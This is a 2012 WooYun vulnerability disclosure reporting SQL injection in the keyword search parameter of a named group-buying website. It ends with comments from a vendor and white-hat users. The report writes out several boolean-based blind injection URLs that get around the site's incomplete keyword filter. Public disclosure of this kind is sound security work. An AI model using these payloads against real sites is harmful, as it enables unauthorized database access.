当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-05050

漏洞标题:天天团购网SQL注射

相关厂商:天天团购网

漏洞作者: 冷冷的夜

提交时间:2012-03-06 10:05

修复时间:2012-04-20 10:06

公开时间:2012-04-20 10:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-03-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-04-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT,话说怎么好多网站都叫天天团购,研究了半天,最终还是没搞明白,o(︶︿︶)o

详细说明:

其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,',=,<,>等管关键字未被过滤
先找个不从在的关键字
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'1'='依然返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'%'='返回数据
由此推断后台sql语句可能类似这样的写法 select * from xxx where keyword like '%str%'
,然后我们再来试试http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%200%3E0+or%20'1'='返回空 or 0>0以及最后的or '1'='%也为false,所以返回空
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%201%3E0+or%20'1'='返回数据 因为or 1>0成立
http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20(select%201)%3E0+or%20'1'=' 返回数据,说明 (select 1)>0成立,select查询成功

漏洞证明:







修复方案:

你懂得

版权声明:转载请注明来源 冷冷的夜@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2012-03-06 15:08 | 杭州神话(乌云厂商)

    @冷冷的夜 请问是天天团购程序(tttuangou.net),还是针对某名字叫天天团购的网站,还望明确下,以便我们厂商认领

  2. 2012-03-06 15:44 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    是团购网 ;)

  3. 2012-03-06 18:28 | 杭州神话(乌云厂商)

    @xsser 那这个应该不属于我们家的认领范围了,希望正主能早点作出回应

  4. 2012-03-06 18:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @杭州神话 嗯 记得有问题在补丁里给个来源吧 谢谢

  5. 2012-03-06 19:03 | 杭州神话(乌云厂商)

    @xsser 嗯,已经通知了技术部在发布新的补丁的说明时候加入漏洞反馈来源

  6. 2012-03-07 09:18 | teamtopkarl ( 实习白帽子 | Rank:48 漏洞数:7 | 对网络安全事业一直保持着激情)

    还有某团购网,全国遍布的